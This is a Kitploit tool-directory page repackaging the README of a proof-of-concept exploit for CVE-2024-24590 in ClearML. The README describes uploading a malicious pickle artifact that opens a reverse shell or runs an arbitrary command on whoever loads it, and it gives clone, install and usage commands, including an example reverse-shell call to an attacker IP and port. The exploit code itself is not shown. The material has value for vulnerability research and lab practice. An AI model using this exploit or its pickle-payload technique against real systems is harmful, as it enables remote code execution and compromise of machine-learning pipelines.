Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-24590-ClearML-RCE-CMD-POC — CVE-2024-24590 ClearML RCE&CMD POC | Kitploit
Tools/GitHubGitHub/diegogarciayala/cve-2024-24590-clearml-rce-cmd-poc
Payload GenerationVulnerability AnalysisExploitationCommand and ControlSupply Chain SecurityRemote Access Tool
GitHubdiegogarciayala/cve-2024-24590-clearml-rce-cmd-poc

CVE-2024-24590-ClearML-RCE-CMD-POC

CVE-2024-24590 ClearML RCE&CMD POC

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
9132 years agoNot yet reviewed
Share

ClearML Exploit Script

This repository contains a Python exploit script for CVE-2024-24590 The script is designed to upload a malicious pickle file to ClearML, which executes a reverse shell or a custom command.

Features

  • Uploads a malicious pickle artifact to ClearML.
  • Executes a reverse shell or a custom command on the target machine.
  • Supports custom project and task names.
  • Allows setting a tag on the task.

Usage

Prerequisites

  • Python 3.x
  • ClearML SDK
  • argparse (usually included with Python)

Installation

  1. Clone the repository:

    root@kitploit:~
    git clone https://github.com/diegogarciayala/CVE-2024-24590-ClearML-RCE-CMD-POC.git
    cd CVE-2024-24590-ClearML-RCE-CMD-POC
    
  2. Install the ClearML SDK:

    root@kitploit:~
    pip install clearml
    clearml-init
    

Running the Script

The script supports two modes of operation: default and cmd.

Default Mode

In this mode, you must provide the attacker's IP and port to establish a reverse shell.

root@kitploit:~
python3 exploit.py default <project_name> <task_name> <attacker_ip> <attacker_port>

CMD Mode

In this mode, you can provide a custom command to be executed.

root@kitploit:~
python3 exploit.py cmd <project_name> <task_name> --cmd "<your_command>"

Examples

root@kitploit:~
python3 exploit.py default "Black Swan" "pwned4" "10.10.14.10" "1234"
root@kitploit:~
python3 exploit.py cmd "Black Swan" "pwned4" --cmd "touch /tmp/shell.sh"

whoami

  • HackTheBox: sl4sh1t0
  • Telegram: sl4sh1t0
  • X (Twitter): @diegogarciayala

Credits

https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/

Download Tool